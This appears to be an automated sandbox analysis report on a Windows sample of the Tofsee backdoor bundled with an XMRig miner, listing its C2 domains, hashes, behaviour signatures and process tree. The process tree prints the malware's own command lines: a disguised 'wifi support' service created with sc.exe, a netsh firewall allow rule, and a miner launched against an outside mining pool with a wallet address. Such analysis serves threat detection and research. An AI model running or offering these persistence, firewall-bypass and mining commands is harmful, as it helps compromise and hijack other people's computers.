Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    22/01/2023, 04:38

General

  • Target
    file.exe
  • Size 195KB
  • Sample230122-e9dtzafc34
  • SHA256 eb15a8da6a982d785fbfd718e06bc16f094801f20e2cfc24f9baa3fd3423c8ae
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1664
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dtndziuw\
      2⤵
        PID:788
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\taaefpzk.exe" C:\Windows\SysWOW64\dtndziuw\
        2⤵
          PID:1764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dtndziuw binPath= "C:\Windows\SysWOW64\dtndziuw\taaefpzk.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1276
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dtndziuw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1256
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dtndziuw
          2⤵
          • Launches sc.exe
          PID:1160
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:684
      • C:\Windows\SysWOW64\dtndziuw\taaefpzk.exe
        C:\Windows\SysWOW64\dtndziuw\taaefpzk.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:520
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1184
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1264

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            taaefpzk.exe

            • Path C:\Users\Admin\AppData\Local\Temp\taaefpzk.exe
            • Size 13.0MB
            • SHA256 9b081b415ab9ea7c2d82ad71cfbde656cfbe46afe121f9cca34151e6c4459592
            • MD5 SHA1 SHA512 SSDEEP

            taaefpzk.exe

            • Path C:\Windows\SysWOW64\dtndziuw\taaefpzk.exe
            • Size 13.0MB
            • SHA256 9b081b415ab9ea7c2d82ad71cfbde656cfbe46afe121f9cca34151e6c4459592
            • MD5 SHA1 SHA512 SSDEEP

            memory/520-77-0x0000000000400000-0x0000000002B9B000-memory.dmp

            memory/520-73-0x0000000002D8E000-0x0000000002DA1000-memory.dmp

            memory/1184-83-0x0000000000120000-0x0000000000126000-memory.dmp

            memory/1184-98-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1184-86-0x0000000000240000-0x0000000000250000-memory.dmp

            memory/1184-92-0x0000000005A60000-0x0000000005E6B000-memory.dmp

            memory/1184-80-0x0000000001A90000-0x0000000001C9F000-memory.dmp

            memory/1184-79-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1184-95-0x0000000000700000-0x0000000000707000-memory.dmp

            memory/1184-71-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1184-69-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1184-89-0x0000000000250000-0x0000000000255000-memory.dmp

            memory/1264-99-0x00000000001E0000-0x00000000002D1000-memory.dmp

            memory/1264-101-0x00000000001E0000-0x00000000002D1000-memory.dmp

            memory/1664-68-0x0000000000400000-0x0000000002B9B000-memory.dmp

            memory/1664-54-0x0000000076181000-0x0000000076183000-memory.dmp

            memory/1664-57-0x00000000002B0000-0x00000000002C3000-memory.dmp

            memory/1664-56-0x0000000002C3E000-0x0000000002C51000-memory.dmp

            memory/1664-67-0x0000000002C3E000-0x0000000002C51000-memory.dmp

            memory/1664-58-0x0000000000400000-0x0000000002B9B000-memory.dmp